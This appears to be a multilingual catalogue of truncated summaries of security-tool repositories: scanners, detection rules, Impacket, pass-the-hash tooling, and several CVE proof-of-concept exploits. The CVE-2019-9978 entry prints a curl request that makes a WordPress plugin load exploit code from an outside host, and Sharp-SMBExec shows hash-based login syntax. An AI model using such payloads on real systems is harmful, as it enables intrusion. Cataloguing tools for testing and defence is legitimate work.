nikto

nikto Nikto web server scanner - https://cirt.net/Nikto2 Full documentation - https://github.com/sullo/nikto/wiki Run normally: git clone https://github.com/sullo/nikto Main script is in program/ cd nikto/program Run using the shebang interpreter ./nikto.pl -h http://www.example.com Run using per...

hoper

Hoper It shows all the hops that makes a url you specify to reach its endpoint. For example if you want to see the entire trip by email URL or like a URL shorten. Hoper returns you all URLs redirections. Installation $ gem install hoper Usage Type in your command line: $ hoper url Development Aft...

Sharp-SMBExec

Sharp-SMBExec Нативная конвертация на C скрипта Invoke-SMBExec PowerShell Кевина Робертсона. https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-SMBExec.ps1 Собрано для .NET 3.5 Использование Sharp-SMBExec.exe hash:"hash" username:"username" domain:"domain.tld"...

detection-rules

Detection Rules Detection Rules is the home for rules used by Elastic Security. This repository is used for the development, maintenance, testing, validation, and release of rules for Elastic Security’s Detection Engine. This repository was first announced on Elastic's blog post, Elastic Security...

detection-rules

Detection Rules Detection Rules는 Elastic Security에서 사용하는 규칙의 본거지입니다. 이 저장소는 Elastic Security의 Detection Engine용 규칙의 개발, 유지 관리, 테스트, 검증 및 릴리스에 사용됩니다. 이 저장소는 Elastic 블로그 게시물 Elastic Security, 공개 탐지 규칙 저장소 오픈에서 처음 발표되었습니다. 추가 콘텐츠는 관련 웨비나 Elastic Security: 공개 탐지 규칙 저장소 소개를 참조하세요. 목차 Detection Rules 목...

bfac

BFAC Advanced Backup-File Artifacts Testing for Web-Applications BFAC Backup File Artifacts Checker is an automated tool that checks for backup artifacts that may disclose the web-application's source code. The artifacts can also lead to leakage of sensitive information, such as passwords,...

CVE-2022-42889-Text4Shell-POC

CVE-2022-42889 Text4Shell Сценарий тестирования Этот репозиторий содержит скрипт на Python для автоматизации процесса тестирования уязвимости, известной как Text4Shell, обозначенной под CVE id: CVE-2022-42889. О Text4Shell CVE-2022-42889 Text4Shell — это критическая уязвимость, затрагивающая...

nrf24-injection

Набор инструментов для сниффинга устройств и запуска атак с помощью Crazyradio. Основано на исследовании BastilleResearch. Настройка Установите дополнительные модули sudo apt-get install sdcc binutils python python-pip sudo pip install -U pip sudo pip install -U -I pyusb sudo pip install -U...

CVE-2026-18574

cve-id 기부 이 프로젝트 유지 관리에 도움을 주세요 이 프로젝트가 유용하다고 생각하신다면, PayPal 또는 ABA Mobile을 통해 지속적인 유지 관리를 지원해 주시기 바랍니다. ❤️ ១០% នៃការបរិច្ចាគរបស់អ្នក នឹងត្រូវបានបរិច្ចាគជូនមន្ទីរពេទ្យគន្ធបុប្ផា។ ❤️ 모든 기부금의 10퍼센트는 Kantha Bopha 어린이 병원에 기부됩니다. | 결제 방법을 선택하세요 ABA Mobile로 스캔 · 클릭하여 확대 ---|--- ⚡ 간단한 사용법 GitHub에서 직접 외부...

impacket

Impacket Copyright Fortra, LLC and its affiliated companies. All rights reserved. Impacket was originally created by SecureAuth, and now maintained by Fortra's Core Security. Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level...

CVE-2025-37164-PoC

CVE-2025-37164 - HPE OneView 인증되지 않은 RCE PoC CVE-2025-37164에 대한 PoC 익스플로잇입니다. 이는 HPE OneView의 치명적인 CVSS 10.0 인증되지 않은 원격 코드 실행 취약점입니다. 면책 조항 본 소프트웨어는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 자신이 소유하거나 명시적 서면 허가를 받은 시스템에서만 사용하십시오. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 본 도구로 인한 오용이나 손해에 대해 책임지지 않습니다. 본 도구는 통제된 환경에서의 방어...

aco-prompt-shield

aco-prompt-shield 🛡️ Остановите атаки с помощью промпт-инъекций до того, как они достигнут вашей LLM — нулевые затраты на API, работает полностью локально, интеграция за 2 минуты. Промпт-инъекция — это угроза безопасности №1 для LLM-приложений. aco-prompt-shield перехватывает известные шаблоны...

xcat

XCat XCat is a command line tool to exploit and investigate blind XPath injection vulnerabilities. For a complete reference read the documentation here: https://xcat.readthedocs.io/en/latest/ It supports an large number of features: Auto-selects injections run xcat injections for a list Detects t...

hollows_hunter

hollowshunter Hollows Hunter is a command-line application based on PE-sieve passive memory scanner. Recognizes and dumps a variety of potentially malicious implants replaced/implanted PEs, shellcodes, hooks, in-memory patches. While in case of PE-sieve you can select the process only by its PID,...

Compose Aperisite

AperiSite Требования Docker; Docker Compose; Меньше времени на подготовку окружения, больше времени на компоновку. Загрузка git clone https://gitlab.com/AperiKube/compose-aperisite aperisite pushd aperisite/ git submodule update --init --recursive git submodule foreach --recursive git checkout...

OmniScan

OmniScan — Многофункциональный сканер уязвимостей OmniScan — это легковесный, многодвигательный сканер уязвимостей на Python, разработанный для операций Red Team и исследований в области безопасности. Он объединяет облегчённый движок Nuclei Lite и движок Afrog, предоставляя мощные возможности сбо...

CVE-2019-9978

CVE-2019-9978 - Social Warfare 워드프레스 플러그인 RCE 사전 인증 없이 Social Warfare 워드프레스 플러그인에서 발생하는 RCE 개념 증명 curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php 취약한 코드 : 수정:...

superpowers-evals

Superpowers Evals Лаборатория поведенческого оценивания для superpowers. Quorum управляет реальными CLI кодирующих агентов Claude, Codex, Antigravity, Gemini, Kimi, OpenCode, Pi и Copilot через QA-агента Gauntlet и оценивает их по критериям приемки сценариев и детерминированным пост-проверкам. Ко...

Indushell

Indushell Industroyer 악성코드용 PoC C&C 원작자: xpn https://github.com/xpn 데모: https://www.youtube.com/watch?v=3bulqYmPTps 블로그 게시물: https://www.secarma.co.uk/labs/industroyers-command-and-control-protocol...

xcrawl3r

xcrawl3r xcrawl3r is a command-line utility designed to recursively spider webpages for URLs. It works by actively traversing websites - following links embedded in webpages, and parsing files including sitemaps & robots.txt - to uncover every URL. Unlike xurlfind3r that doesn't interact directly...